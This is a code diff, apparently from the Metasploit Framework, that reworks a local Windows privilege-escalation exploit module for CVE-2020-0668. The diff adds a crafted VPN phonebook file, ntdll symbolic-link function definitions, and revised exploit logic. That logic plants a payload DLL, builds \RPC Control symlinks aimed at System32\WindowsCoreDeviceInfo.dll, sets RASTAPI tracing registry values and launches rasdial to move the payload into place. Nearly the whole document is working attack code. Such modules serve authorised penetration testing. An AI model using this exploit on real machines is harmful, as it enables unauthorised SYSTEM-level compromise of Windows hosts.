diff --git a/data/exploits/cve-2020-0668/phonebook.txt b/data/exploits/cve-2020-0668/phonebook.txt new file mode 100644 index 0000000000..5e0b3dbccb --- /dev/null +++ b/data/exploits/cve-2020-0668/phonebook.txt @@ -0,0 +1,102 @@ +[VPNTEST] +Encoding=1 +PBVersion=1 +Type=2 +AutoLogon=1 +UseRasCredentials=1 +LowDateTime=-1345834320 +HighDateTime=30248544 +DialParamsUID=849441 +Guid=174463CE6AAFD4458FC57A466A95B787 +VpnStrategy=1 +ExcludedProtocols=0 +LcpExtensions=1 +DataEncryption=8 +SwCompression=0 +NegotiateMultilinkAlways=0 +SkipDoubleDialDialog=0 +DialMode=0 +OverridePref=15 +RedialAttempts=3 +RedialSeconds=60 +IdleDisconnectSeconds=0 +RedialOnLinkFailure=1 +CallbackMode=0 +CustomDialDll= +CustomDialFunc= +CustomRasDialDll= +ForceSecureCompartment=0 +DisableIKENameEkuCheck=0 +AuthenticateServer=0 +ShareMsFilePrint=1 +BindMsNetClient=1 +SharedPhoneNumbers=0 +GlobalDeviceSettings=0 +PrerequisiteEntry= +PrerequisitePbk= +PreferredPort=VPN3-0 +PreferredDevice=WAN Miniport (PPTP) +PreferredBps=0 +PreferredHwFlow=1 +PreferredProtocol=1 +PreferredCompression=1 +PreferredSpeaker=1 +PreferredMdmProtocol=0 +PreviewUserPw=1 +PreviewDomain=1 +PreviewPhoneNumber=0 +ShowDialingProgress=1 +ShowMonitorIconInTaskBar=1 +CustomAuthKey=0 +AuthRestrictions=544 +IpPrioritizeRemote=1 +IpInterfaceMetric=0 +IpHeaderCompression=0 +IpAddress=0.0.0.0 +IpDnsAddress=0.0.0.0 +IpDns2Address=0.0.0.0 +IpWinsAddress=0.0.0.0 +IpWins2Address=0.0.0.0 +IpAssign=1 +IpNameAssign=1 +IpDnsFlags=0 +IpNBTFlags=1 +TcpWindowSize=0 +UseFlags=2 +IpSecFlags=0 +IpDnsSuffix= +Ipv6Assign=1 +Ipv6Address=:: +Ipv6PrefixLength=0 +Ipv6PrioritizeRemote=1 +Ipv6InterfaceMetric=0 +Ipv6NameAssign=1 +Ipv6DnsAddress=:: +Ipv6Dns2Address=:: +Ipv6Prefix=0000000000000000 +Ipv6InterfaceId=0000000000000000 +DisableClassBasedDefaultRoute=0 +DisableMobility=0 +NetworkOutageTime=0 +ProvisionType=0 +PreSharedKey= + +NETCOMPONENTS= +ms_msclient=1 +ms_server=1 + +MEDIA=rastapi +Port=VPN3-0 +Device=WAN Miniport (PPTP) + +DEVICE=vpn +PhoneNumber=127.0.0.1 +AreaCode= +CountryCode=0 +CountryID=0 +UseDialingRules=0 +Comment= +FriendlyName= +LastSelectedPhone=0 +PromoteAlternates=0 +TryNextAlternateOnFail=1 \ No newline at end of file diff --git a/lib/msf/core/post/windows/filesystem.rb b/lib/msf/core/post/windows/filesystem.rb index d745322057..0fbf553d5d 100644 --- a/lib/msf/core/post/windows/filesystem.rb +++ b/lib/msf/core/post/windows/filesystem.rb @@ -305,7 +305,6 @@ module FileSystem print_error("Something went wrong while creating the symlink. Return value: NTSTATUS #{error} ()") return nil end - @handles << result['LinkHandle'] result['return'] ensure process.close @@ -323,7 +322,6 @@ module FileSystem buffer.reparse_data.substitute_name_length = target_byte_size buffer.reparse_data.print_name_offset = target_byte_size + 2 buffer.reparse_data.path_buffer = target + "\0" + print_name + "\0" - buffer end diff --git a/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/windows/def_ntdll.rb b/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/windows/def_ntdll.rb index cb9dc0fe3c..ce973dccc7 100644 --- a/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/windows/def_ntdll.rb +++ b/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/windows/def_ntdll.rb @@ -158,6 +158,18 @@ class Def_windows_ntdll ["PBLOB","ReturnValue","in"], ]) + dll.add_function('RtlInitUnicodeString', 'VOID',[ + ["PBLOB","DestinationString","out"], + ["PWCHAR","SourceString","in"] + ]) + + dll.add_function('NtCreateSymbolicLinkObject', 'DWORD',[ + ["PDWORD","LinkHandle","out"], + ["DWORD","DesiredAccess","in"], # ACCESS_MASK + ["PBLOB","ObjectAttributes","in"], # POBJECT_ATTRIBUTES + ["PBLOB","TargetName","in"] # PUNICODE_STRING + ]) + return dll end diff --git a/modules/exploits/windows/local/cve_2020_0668_service_tracing.rb b/modules/exploits/windows/local/cve_2020_0668_service_tracing.rb index 70a07d8ea5..0e52c2feaf 100644 --- a/modules/exploits/windows/local/cve_2020_0668_service_tracing.rb +++ b/modules/exploits/windows/local/cve_2020_0668_service_tracing.rb @@ -47,7 +47,8 @@ class MetasploitModule < Msf::Exploit::Local ], 'DefaultOptions' => { - 'DisablePayloadHandler' => false + 'DisablePayloadHandler' => false, + 'WfsDelay' => 30 } )) @@ -67,6 +68,10 @@ class MetasploitModule < Msf::Exploit::Local OptInt.new('EXECUTE_DELAY', [true, 'The number of seconds to delay between file upload and exploit launch', 3]) ]) + # stores open handles to cleanup properly + @handles = [] + @exploit_dir ='' + @mount_dir = '' end def make_dir(dir) @@ -80,17 +85,6 @@ class MetasploitModule < Msf::Exploit::Local end - def make_symlink(old_pathname, new_pathname) - cmd = 'mklink /H "' + old_pathname + '" "' + new_pathname + '"' - begin - cmd_exec(cmd) - rescue Rex::Post::Meterpreter::RequestError => e - print_error("Failed to create symlink for #{old_pathname}") - print_error(e.to_s) - return false - end - true - end def write_reg_value(registry_hash) vprint_status("Writing #{registry_hash[:value_name]} to #{registry_hash[:key_name]}") begin @@ -100,8 +94,8 @@ class MetasploitModule < Msf::Exploit::Local else registry_hash[:delete_on_cleanup] = false end - registry_setvaldata(registry_hash[:key_name], \ - registry_hash[:value_name], \ + registry_setvaldata(registry_hash[:key_name].strip(), \ + registry_hash[:value_name].strip(), \ registry_hash[:value_value], \ registry_hash[:value_type]) rescue Rex::Post::Meterpreter::RequestError => e @@ -126,7 +120,7 @@ class MetasploitModule < Msf::Exploit::Local end end - def create_reg_hash(exploit_dir) + def create_reg_hash reg_keys = [] reg_keys.push(key_name: "HKLM\\SOFTWARE\\Microsoft\\Tracing\\RASTAPI", value_name: "EnableFileTracing ", @@ -136,67 +130,105 @@ class MetasploitModule < Msf::Exploit::Local reg_keys.push(key_name: "HKLM\\SOFTWARE\\Microsoft\\Tracing\\RASTAPI", value_name: "FileDirectory ", value_type: "REG_EXPAND_SZ", - value_value: exploit_dir, + value_value: @exploit_dir, delete_on_cleanup: false) reg_keys.push(key_name: "HKLM\\SOFTWARE\\Microsoft\\Tracing\\RASTAPI", value_name: "MaxFileSize ", value_type: "REG_DWORD", - value_value: 0x8000, + value_value: 0x0800, delete_on_cleanup: false) reg_keys end + def cleanup_everything + cleanup_mountpoints + cleanup_handles + end + + def cleanup_handles + @handles.each do |handle| + vprint_status("Close handle #{handle}") + session.railgun.kernel32.CloseHandle(handle) + end + end + + def cleanup_mountpoints + print_status("Delete mountpoint #{@exploit_dir}") + unless delete_mount_point(@exploit_dir) + print_error("Error when deleting the mount point.") + end + begin + session.fs.dir.rmdir(@exploit_dir) + rescue Rex::Post::Meterpreter::RequestError + print_error("Error when deleting \"#{@exploit_dir}\".") + end + begin + session.fs.dir.rmdir(@mount_dir) + rescue Rex::Post::Meterpreter::RequestError + print_error("Error when deleting \"#{@mount_dir}\".") + end + end + def exploit # Make directories if datastore['EXPLOIT_DIR'].nil? - exploit_dir = session.sys.config.getenv('TEMP') + "\\" + Rex::Text.rand_text_alpha((rand(8) + 6)) + @exploit_dir = session.sys.config.getenv('TEMP') + "\\" + Rex::Text.rand_text_alpha((rand(8) + 6)) else - exploit_dir = datastore['EXPLOIT_DIR'] + @exploit_dir = datastore['EXPLOIT_DIR'] end - vprint_status("Making #{exploit_dir} on #{sysinfo['Computer']}") - make_dir(exploit_dir) - if datastore['MOUNT_DIR'].nil? - mount_dir = session.sys.config.getenv('TEMP') + "\\" + Rex::Text.rand_text_alpha((rand(8) + 6)) - else - mount_dir = datastore['EXPLOIT_DIR'] - end - vprint_status("Making #{mount_dir} on #{sysinfo['Computer']}") + vprint_status("Making #{@exploit_dir} on #{sysinfo['Computer']}") + make_dir(@exploit_dir) + @mount_dir = '\\RPC Control\\' + vprint_status("Making #{@mount_dir} on #{sysinfo['Computer']}") - # get stuff in order - make_dir(mount_dir) + # get variables in order +# make_dir(@mount_dir) payload_name = datastore['PAYLOAD_UPLOAD_NAME'] || Rex::Text.rand_text_alpha((rand(8) + 6)) + '.dll' - upload_payload_pathname = "#{exploit_dir}\\#{payload_name}" + upload_payload_pathname = "#{@exploit_dir}\\#{payload_name}" win_dir = session.sys.config.getenv('windir') target_payload_pathname = "#{win_dir}\\system32\\WindowsCoreDeviceInfo.dll" new_logfile_name = datastore['LOG_FILENAME'] || Rex::Text.rand_text_alpha((rand(8) + 6)) + '.log' old_logfile_name = datastore['LOG_FILENAME'] || Rex::Text.rand_text_alpha((rand(8) + 6)) + '.log' - reg_hash = create_reg_hash(exploit_dir) + reg_hash = create_reg_hash + vprint_status("Registry hash = #{reg_hash}") - # Create mountpoint - vprint_status("Creating mountpoint") - unless create_mount_point(exploit_dir, mount_dir) - fail_with(Failure::Unknown, "Error when creating the mount point... aborting.") - end +# # Create mountpoint +# vprint_status("Creating mountpoint") +# unless create_mount_point(@exploit_dir, @mount_dir) +# fail_with(Failure::Unknown, "Error when creating the mount point... aborting.") +# cleanup_everything +# end # Upload payload - vprint_status("Uploading payload") + upload_payload_pathname = "#{@exploit_dir}\\RASTAPI.LOG" + vprint_status("Uploading payload to #{upload_payload_pathname}") payload_dll = generate_payload_dll write_file(upload_payload_pathname, payload_dll) # Create Symlinks vprint_status("Creating Symlinks") - target_pathname = 'C:\\Windows\\System32\\WindowsCoreDeviceInfo.dll' - print_status("Creating symlink #{target_pathname} in \\RPC Control\\RASTAPI.LOG") - unless create_symlink(nil, "\\RPC Control\\RASTAPI.LOG", "\\??\\#{upload_payload_pathname}") + print_status("Creating symlink #{upload_payload_pathname} in \\RPC Control\\RASTAPI.LOG") + symlink_handle = create_symlink(nil, "\\RPC Control\\RASTAPI.LOG", "\\??\\#{upload_payload_pathname}") + unless symlink_handle fail_with(Failure::Unknown, "Error when creating the RASTAPI.LOG symlink... aborting.") + cleanup_everything end - unless create_symlink(nil, "\\RPC Control\\RASTAPI.OLD", "\\??\\#{target_pathname}") + @handles << symlink_handle + print_status("Creating symlink #{target_payload_pathname} in \\RPC Control\\RASTAPI.OLD") + symlink_handle = create_symlink(nil, "\\RPC Control\\RASTAPI.OLD", "\\??\\#{target_payload_pathname}") + unless symlink_handle fail_with(Failure::Unknown, "Error when creating the RASTAPI.OLD symlink... aborting.") + cleanup_everything + end + @handles << symlink_handle + + reg_hash.each do |entry| + write_reg_value(entry) end # Upload phonebook file - phonebook_name = datastore['PHONEBOOK_NAME'] || Rex::Text.rand_text_alpha((rand(8) + 6)) + '.log' - upload_phonebook_pathname = "#{exploit_dir}\\#{phonebook_name}" + phonebook_name = datastore['PHONEBOOK_NAME'] || Rex::Text.rand_text_alpha((rand(8) + 6)) + '.pbk' + upload_phonebook_pathname = "#{@exploit_dir}\\#{phonebook_name}" local_phonebook_path = ::File.join(Msf::Config.data_directory, 'exploits', 'cve-2020-0668', 'phonebook.txt') ensure_clean_destination(upload_phonebook_pathname) vprint_status("Uploading phonebook to #{sysinfo['Computer']} as #{upload_phonebook_pathname} from #{local_phonebook_path}") @@ -204,6 +236,7 @@ class MetasploitModule < Msf::Exploit::Local upload_file(upload_phonebook_pathname, local_phonebook_path) rescue Rex::Post::Meterpreter::RequestError print_error("Failed to upload phonebook") + cleanup_everything return nil end print_status("Phonebook uploaded on #{sysinfo['Computer']} to #{upload_phonebook_pathname}") @@ -214,6 +247,11 @@ class MetasploitModule < Msf::Exploit::Local print_status("Running Rasdialer with phonbook #{upload_phonebook_pathname}") output = cmd_exec('cmd.exe', "/c #{rasdial_cmd}") vprint_status(output) + sleep(10) + vprint_status("Checking on #{target_payload_pathname}") + vprint_status(session.fs.file.stat(target_payload_pathname)) + sleep(30) +# cleanup_everything end def validate_active_host